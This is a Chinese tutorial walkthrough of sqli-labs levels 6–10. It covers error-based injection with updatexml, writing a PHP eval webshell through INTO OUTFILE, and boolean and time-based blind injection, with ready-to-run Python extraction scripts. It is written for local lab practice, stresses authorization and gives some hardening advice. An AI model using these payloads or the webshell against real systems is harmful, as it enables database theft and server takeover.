从第5关开始，sqli-labs就不再跟你玩“看得见”的游戏了。前4关还是老老实实的联合查询注入，到第5关突然不回显数据，很多人就开始懵了。而6~10关里，除了第7关是文件写入的岔路口，其余关卡几乎全部踩在“盲注”这个区域上——要么靠报错信息猜，要么靠页面差异猜，要么靠时间延迟猜。
这篇就专门把sqli-labs靶场6~10关掰开揉碎讲一遍。写之前先说明定位：适合已经能熟练完成1~4关的联合查询注入、但对“无回显注入”还不够熟的选手。内容会覆盖闭合方式判断、报错注入、INTO OUTFILE写文件、布尔盲注、时间盲注，最后附带一个横向对比和一点经验总结。所有测试都在本地靶场环境完成，不建议对着没授权的站点瞎试，这是底线。
1. 第六关：双引号闭合的“伪盲注”，卡住很多人的第一道坎
1.1 第六关和第五关到底差在哪
第六关从表面看跟第五关几乎一模一样：查询正常时页面输出固定的“You are in........ Use outfile......”，查询报错时显示完整的SQL语法错误。很多人一上来直接拿第五关的单引号payload去打，结果全部扑空，卡半天才发现是闭合字符的问题。
从源码层面看就很清楚了。第五关的拼接逻辑是：
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";第六关的拼接逻辑是：
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";也就是说，第六关最终生成的SQL是：
SELECT * FROM users WHERE id="1" LIMIT 0,1第五关用单引号包裹，第六关用双引号包裹。靶场设计到这里，本质上是在训练你一件事：不要凭经验套payload，先判断闭合字符。
1.2 怎么快速确认闭合字符是双引号
最简单粗暴的方法，直接丢一个双引号进去看反应。在URL里双引号不能直接裸传，需要URL编码成%22：
http://127.0.0.1/sqli-labs/Less-6/?id=1%22如果SQL语句变成：
SELECT * FROM users WHERE id="1"" LIMIT 0,1MySQL会立刻报语法错误，并且错误信息里会显示引号没有正确闭合。这一下就能确认是双引号参与闭合。
还有一个更稳的判断方法，用“闭合后是否恢复正常页面”来反推：
http://127.0.0.1/sqli-labs/Less-6/?id=1%22 and 1=1--+如果页面出现“You are in”，说明你手工构造的双引号把查询补完整了，这条语句能正常执行。把and 1=1换成and 1=2再试一次，如果页面没有“You are in”，那闭合方式就是双引号，并且存在布尔盲注的可能。
我实际测试中踩过的坑是：直接在浏览器地址栏输入?id=1"，Chrome会把双引号自动处理掉，导致请求根本没发出去或者参数值变成1。后来我习惯用Burp Suite重新抓包修改，或者直接用%22编码，效率高很多。
1.3 用updatexml报错注入一把梭
第六关保留着详细的报错回显，所以没有必要死磕盲注。报错注入里有几个函数，最推荐updatexml，原因很简单：不需要额外条件，只要能触发XPath报错就能把查询结果带出来。
读取当前数据库名的payload：
http://127.0.0.1/sqli-labs/Less-6/?id=1%22 and updatexml(1,concat(0x7e,database()),1)--+注意几个细节：
0x7e是波浪号~的十六进制。updatexml的第二个参数要求是合法XPath表达式，我们在前面拼一个波浪号，让它必然不是合法XPath开头，从而触发错误信息。- 报错结果里会自动带上
~和我们查询的内容，例如XPATH syntax error: '~security'。 database()换成其他子查询，就可以继续往下爆表名、列名、数据。
查表名的核心payload：
http://127.0.0.1/sqli-labs/Less-6/?id=1%22 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+这里有个非常实用的经验：updatexml的报错回显长度有限制，大概只显示32个字符左右。如果group_concat把所有表名拼在一起，报错信息会被截断，后面的表名看不到。解决办法是不要一口气全部拼出来，用limit逐行看：
http://127.0.0.1/sqli-labs/Less-6/?id=1%22 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+查第1个表名，把limit 0,1改成limit 1,1就是第2个表名，以此类推。这种方式虽然请求次数多一点，但不会漏数据。
1.4 为什么我说第六关也要顺手练一遍布尔盲注
第六关的信息足够多，用布尔判断也能打：1%22 and 1=1--+有“You are in”，1%22 and 1=2--+没有。这跟后面第八关的核心逻辑完全一样，唯一区别是闭合字符不同。
我的建议是：第六关不要只用报错注入打完就跑了，可以试试把整个库名、表名、字段名、密码数据全用布尔盲注的方式猜一遍。这个过程看着慢，但能帮你把“判断条件成立/不成立”的思维方式建立起来。等打到第八关的时候，你会发现一切都是顺理成章的。
2. 第七关：INTO OUTFILE写文件，打通数据库到服务器的隧道
2.1 为什么这一关能写文件
第七关在sqli-labs里别名叫“Use outfile”，不用想就知道考点是文件写入。靶场默认使用root账户连接数据库，root默认拥有FILE权限，同时本地环境（phpstudy、MAMP、LAMP等）的secure_file_priv一般没有限制，所以MySQL可以把查询结果写入磁盘上的任意路径。
写文件之前先自查三件事，这条经验在真实环境同样适用：
- 当前数据库用户有没有FILE权限。可以执行
select user();和show grants for current_user();查看。 secure_file_priv变量是否为空。执行show variables like 'secure_file_priv';，空值表示不限制导出目录，NULL表示禁止导出，指定路径表示只能写到那个路径。- 知道web根目录的绝对路径。靶场一般装在
C:/phpstudy_pro/WWW/或/var/www/html/，但真实环境不一定，需要结合报错信息、常见路径、@@basedir和@@datadir去推断。
如果secure_file_priv是NULL，写文件这条路直接断掉，不用浪费时间，后面我会再提防御方的思路。
2.2 先探测闭合和列数再写文件
第七关的闭合方式跟前面几关都不一样，源码里的拼接逻辑是：
$id = "'" . $id . "'"; $sql="SELECT * FROM users WHERE id=(($id)) LIMIT 0,1";最终SQL是：
SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1所以闭合要同时关掉单引号和两个括号，也就是'))。
测试方法很简单，逐个尝试：
http://127.0.0.1/sqli-labs/Less-7/?id=1' http://127.0.0.1/sqli-labs/Less-7/?id=1' http://127.0.0.1/sqli-labs/Less-7/?id=1') http://127.0.0.1/sqli-labs/Less-7/?id=1'))前几个都会报错或者显示异常，当输入1'))并加上注释符--+能让页面恢复正常时，闭合就确认了。
判断列数，老办法order by依然有效：
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 3--+返回正常的“You are in”，说明第3列存在。把数字改成4，页面不再显示，说明表一共3列。
2.3 写一句话木马的完整payload与防坑细节
确认闭合和列数之后，用UNION SELECT构造写入语句。写文件功能是MySQL本身提供的，不是靶场加的什么高级技巧：
http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,3 into outfile 'C:/phpstudy_pro/WWW/shell.php'--+这一步执行成功后，目标路径下会出现一个内容为1 2 3的shell.php文件。能看到这个文件，就说明你拿到了文件写入权限。
但如果只是写入数字，后续就没意义了。实战中写webshell才是目的，所以把第二个字段替换成PHP代码：
http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,'<?php @eval($_REQUEST[cmd]);?>',3 into outfile 'C:/phpstudy_pro/WWW/shell.php'--+然后就可以用蚁剑、菜刀或者直接请求/shell.php?cmd=phpinfo();来验证。写文件时有几个坑，我一个个说：
Windows路径尽量用正斜杠/。如果用反斜杠C:\\phpstudy\\WWW\\shell.php，在URL里反斜杠会被转义处理，容易出错。用正斜杠MySQL也能正确识别路径。
PHP代码里的引号要小心。外层已经用了单引号包裹字符串，如果你的PHP代码里再出现单引号，会直接破坏SQL语句结构。所以上面写法是$_REQUEST[cmd]，不写引号，或者用双引号版本$_REQUEST["cmd"]，在SQL里也容易出问题。最省事的方式就是$_REQUEST[cmd]这种无引号写法。
注释符尽量用--+而不是#。#在URL里会被当成锚点，浏览器不会把它发给服务端，必须URL编码成%23。--+到服务端后加号会被解析成空格，所以注释效果稳定。
这种长payload建议直接放在Burp的Repeater里构造发送，不要手动在浏览器地址栏敲，尤其路径和代码混在一起时，URL编码很容易搞错。
2.4 写文件失败怎么排查
写文件失败通常有三种情况，按优先级排查：
第一，权限问题。如果MySQL报Access denied，说明当前用户没有FILE权限，或者MySQL版本/配置限制了导出。靶场里如果遇到，去检查phpstudy的MySQL配置里secure_file_priv是不是被设置为了NULL。
第二，路径问题。写入的目录不存在，或者web目录没有写权限。Linux环境下尤其常见，/var/www/html可能属于root用户，Apache进程没有写权限。可以先试写入/tmp/验证MySQL本身能不能写，再考虑web目录的权限。
第三，语句问题。闭合方式不对、注释没生效、列数不对，都会导致UNION查询本身失败。这种可以先用order by确认列数，再逐步简化SQL，比如先写普通数字测试。
第七关打完要记住一个核心认知：数据库账户权限失控是一件非常危险的事情。root账户如果还带着FILE权限，一旦注入点被攻破，攻击者拿到的不只是数据库，而是整个服务器的代码执行权限。防御方要做的就是把secure_file_priv设置为NULL，并且禁止所有业务使用高权限数据库账户。
3. 第八关：布尔盲注，把数据库当字典翻
3.1 页面只剩下“有”和“没有”两种状态
第八关跟第五关一样是单引号闭合，但页面设计更加极端：查询结果为真时，输出一行“You are in...........”和“Use outfile......”，查询结果为假或者报错时，页面什么都不显示。你不能再从SQL报错里拿到任何信息，只能靠页面内容有没有变化来推断数据库内部发生了什么。
这种注入方式就叫布尔盲注（Boolean-Based Blind SQL Injection）。它在真实渗透中非常常见——很多站点关闭了错误回显，但查询结果不同时页面内容会有微弱差异，这时布尔盲注就是最可靠的手段。
先验证闭合：
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=1--+页面显示“You are in”，再试：
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=2--+页面没有任何输出。有和没有的区别，就是以后所有判断的“信号”。
3.2 用order by盲判列数
第八关没有回显点，还能不能判断列数？能，而且方法跟前面完全一样，只是观察点变成页面是否显示“You are in”。
http://127.0.0.1/sqli-labs/Less-8/?id=1' order by 3--+页面正常，说明第3列存在。改成4，页面空白，说明只有3列。原理很简单：如果order by指向不存在的列，SQL会报错，报错走false分支，页面自然没有“You are in”。
不过要说明白：布尔盲注判断列数这件事，在目标只是一个数据查询点、你只需要借这个查询点去读数据时，用处不大。真正需要列数的场景是联合查询，但盲注环境下没有回显，联合查询没有意义。所以第八关的核心操作不是判断列数，而是用条件表达式逐字符猜数据。
3.3 盲注的“二分法”思路
假设要猜数据库名第一个字符，我们可以这样问数据库：第一个字符的ASCII码是否大于100？
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))>100--+- 如果页面返回“You are in”，说明条件成立，这个字符的ASCII码大于100，也就是在我们预期的常用字符区间内（英文字母、数字等）。
- 如果不成立，说明小于等于100。
每次把区间折半，最多7次就能确定一个字符。这种二分法比一个个猜字母要快得多，而且全程逻辑清晰，不容易乱。
判断完第一个字符，再用substr(database(),2,1)看第二个字符，依次往后推。
3.4 写个Python脚本，彻底告别手工猜
真正打盲注，尤其是数据量大时，手工在Burp里反复重放实在太低效。我一般直接写个简短的Python脚本，把“请求页面、判断条件是否成立、二分法提取字符”三步封装起来。
import requests url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and {}--+" marker = "You are in" def is_true(condition): r = requests.get(url.format(condition), timeout=5) return marker in r.text def get_char(expr): low, high = 32, 127 while low < high: mid = (low + high) // 2 if is_true(f"ascii(substr({expr},{pos},1))>{mid}"): low = mid + 1 else: high = mid return chr(low) result = "" for pos in range(1, 20): ch = get_char(f"database(),{pos}") if ch == "\x00": break result += ch print(result)脚本的核心就一句：ascii(substr(expr,pos,1))>mid，成立则把下界推到mid+1，不成立则把上界缩到mid。跑起来基本是在刷屏输出数据库名。
拿到库名之后，猜表名、列名、密码的逻辑都一样，把expr替换成对应的子查询即可。比如查第一个表名：
expr = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)"布尔盲注脚本本身没有太多高深的东西，真正值钱的是二分法的判断逻辑和精确的substr定位。这个脚本骨架建议存下来，后面遇到其他盲注点改成对应URL就能复用。
3.5 第八关最容易翻车的细节
URL参数里的空格问题。浏览器和Python的requests库一般会自动编码，但如果你手动拼接URL，空格必须写成+或者%20，否则服务端解析参数时会出错。
注释符统一用--+。我在手工测试时见过很多人用#，结果URL后面的参数刷没了，页面状态一直不符合预期。用%23也可以，但--+更省心。
还有一点，判断条件时要确保marker字符串跟目标页面的实际输出完全一致。有些版本的sqli-labs页面输出可能带空格、换行，用requests的response.text判断时注意子串匹配要准确。可以在脚本开头先打印一次响应内容，确认marker存在再跑。
4. 第九、十关：时间盲注，页面永远一张脸
4.1 为什么会有时间盲注这种“笨办法”
第九关开始，靶场设计变得更“不讲道理”：不管你怎么输入，页面永远显示同一段内容。你输入1'，页面有内容；输入1' and 1=1--+，页面有内容；输入1' and 1=2--+，页面还是有内容。布尔盲注的前提完全不成立，因为你连“有和没有”都分辨不出来。
这种情况下，唯一能利用的就是数据库执行查询时的“时间差”。如果条件成立，就让数据库多花几秒再返回结果；如果条件不成立，就让它立刻返回。通过响应时间的长短来判断条件真假，这就是时间盲注（Time-Based Blind SQL Injection）。
第九关和第十关的源码区别只有闭合字符：
// Less-9 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // Less-10 $id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";所以这两关的打法完全一致，唯一要区分的是单引号和双引号。
4.2 先验证是不是时间注入
验证方法很简单，注入一个sleep(3)看响应时间：
http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(3)--+如果页面卡了大概3秒才返回，说明and sleep(3)被SQL执行了。这时候再用双引号测试：
http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(3)--+Less-9的单引号会立刻返回，Less-10的双引号会延迟3秒。用这个方式把闭合字符确认清楚，后面所有payload才不会乱套。
4.3 组合条件：if + ascii + substr
时间盲注的判断表达式长这样：
if(ascii(substr(database(),1,1))>115, sleep(2), 0)含义是：如果当前数据库名的第一个字符ASCII码大于115，就让数据库睡2秒，否则立即返回0。把这个条件拼进SQL：
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115,sleep(2),0)--+响应时间约2秒，说明条件成立；毫秒级返回，说明不成立。
这里选115是因为小写字母s的ASCII码是115，security的第一个字符s大于115，所以这条payload在靶场里会是延迟2秒。实际盲注时，一般从32到127做二分，不需要预设任何字符。
还有一个容易被忽视的点：sleep的时间不要选太短。本地靶场网络干净，用0.5秒都能判断，但真实环境有网络抖动、代理延迟，选0.5秒会导致“该延迟的没延迟，不该延迟的也延迟了”。我在真实测试中一般选3~5秒，这样判断准确度极高，只是总耗时会比较长，需要在准确性和效率之间权衡。
4.4 benchmark函数：sleep被禁用时的备用方案
有些真实环境会过滤sleep函数，这时可以换benchmark函数，它的原理不是睡眠，而是通过重复执行一个高开销的表达式来消耗CPU时间：
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115,benchmark(10000000,sha1('test')),0)--+benchmark(10000000, sha1('test'))会让MySQL重复计算SHA1一千万次，耗时大概几百毫秒到几秒，具体看机器性能。它的好处是表面上看不出sleep这种危险函数，坏处是对数据库CPU压力很大。靶场可以随便玩，真实生产环境慎用，一个不小心就能把数据库拖挂。
4.5 时间盲注脚本的写法与阈值设置
时间盲注脚本比布尔盲注稍微复杂一点，因为判断依据是响应时间而不是页面内容。核心是写一个函数：发送请求，测量耗时，超过某个阈值就视为条件成立。
import requests import time url = "http://127.0.0.1/sqli-labs/Less-9/?id=1' and if({},sleep(2),0)--+" threshold = 1.5 def is_true(cond): r = requests.get(url.format(cond), timeout=5) return r.elapsed.total_seconds() >= threshold def get_char(expr, pos): low, high = 32, 127 while low < high: mid = (low + high) // 2 if is_true(f"ascii(substr({expr},{pos},1))>{mid}"): low = mid + 1 else: high = mid return chr(low) result = "" for pos in range(1, 20): ch = get_char("database()", pos) if ch == "\x00": break result += ch print(result)这里有个关键经验：阈值不能拍脑袋定。我的做法是先发一条sleep(2)的请求，测一下实际响应时间，再发一条sleep(0)或and 1=1的请求，测一下正常响应时间，然后取中间值作为阈值。比如sleep(2)实际耗时2.1秒，正常请求耗时0.1秒，那阈值取1.5秒就非常稳。
还有，脚本并发度不要拉太高。布尔盲注多线程也就算了，时间盲注每条真条件都要真的让数据库睡几秒，开几十个线程等同于对数据库发起延迟攻击，本地靶场无所谓，实战中容易把自己IP搞进封禁名单。
4.6 第九、十关做完后要理解的一件事
时间盲注在真实渗透中是最后的手段，因为效率实在太低了。能报错就报错，能布尔就布尔，实在不行才用时间。但它的优点也很明显：几乎不会被页面差异干扰，只要数据库执行了你的SQL，时间差就一定存在。
第九关和第十关除了闭合字符不同，技术上一模一样。如果你做完第九关的脚本，第十关其实只是把payload里的单引号换成双引号，脚本里改一行URL就能跑。这也是为什么很多靶场攻略会把9和10合并在一起讲——闭合判断是唯一的新知识点。
5. 五关打通后，把这些思路串成一条链路
5.1 一张表看清6~10关的脾气
打到现在，6~10关每一关都在训练不同的场景。我整理了一张表，每次复盘都看这张表，思路会很清晰：
| 关卡 | 闭合方式 | 页面特征 | 首选注入手法 |
|---|---|---|---|
| 第六关 | 双引号 | 有报错回显，无数据回显 | updatexml报错注入，顺手练布尔 |
| 第七关 | ')) | 有正确提示和错误提示 | union select + into outfile |
| 第八关 | 单引号 | 页面有内容/无内容两种状态 | 布尔盲注 + 二分法 |
| 第九关 | 单引号 | 页面无论真假都相同 | 时间盲注 + sleep |
| 第十关 | 双引号 | 页面无论真假都相同 | 时间盲注 + sleep，换双引号 |
这张表的价值在于告诉你：遇到一个注入点时，先看页面反应，再选技术路线，而不是拿一个payload到处套。
5.2 真实环境里怎么从页面反应反推注入方式
把靶场经验搬到真实站点，你可以按这个顺序做判断：
- 先看有没有数据库报错回显。有，就优先用报错注入（updatexml、extractvalue），这是效率最高的。
- 没有报错，但查询真/假时页面内容有可见差异，走布尔盲注。
- 页面完全没差异，但
and sleep(3)后响应时间明显变长，走时间盲注。 - 当前数据库用户是root，
secure_file_priv没有限制，且知道web根目录路径，优先尝试into outfile写webshell。
这套链路在sqli-labs后面的关卡里也会反复出现。比如第11关开始变成POST注入，第23关开始有简单过滤，但底层判断逻辑永远是“闭合方式→页面差异/时间差异→数据提取”，没有变过。
5.3 靶场和真实站点最大的区别
sqli-labs里每个参数都是直接拼接进SQL的，没有任何过滤，做起来很顺滑。真实站点通常有参数化查询、输入过滤、WAF等多个防护层，不会让你这么舒服地闭合引号，更不会把报错信息原样输出。
但这不意味着靶场没有价值。靶场的意义在于把注入的整个思考过程练成肌肉记忆：拿到一个参数，先判断闭合，再判断列数，然后选择报错/布尔/时间/写文件中的一条路，最后把数据拿出来。这个流程至少覆盖了注入技术里80%的日常场景。
5.4 再次提醒的边界问题
真实渗透测试必须在授权范围内做已说过了，这里再补一句：靶场里怎么折腾都行，因为它是你本机的实验环境。但换成线上站点，哪怕只是跑一个sleep(1)，都可能对目标业务造成影响。练习注入的正确姿势是本地搭靶场、参加SRC授权的众测、或者去各种CTF平台做合法题目。别拿自己或别人的生产环境练手。
打穿6~10关之后，我强烈建议你回头把第五关也用报错注入和布尔盲注各做一遍。你会发现之前觉得会的关卡，在换一种注入手法后反而能看到很多新细节。sqli-labs的乐趣就在这：同一个注入点，换一种视角，就是一道新题。
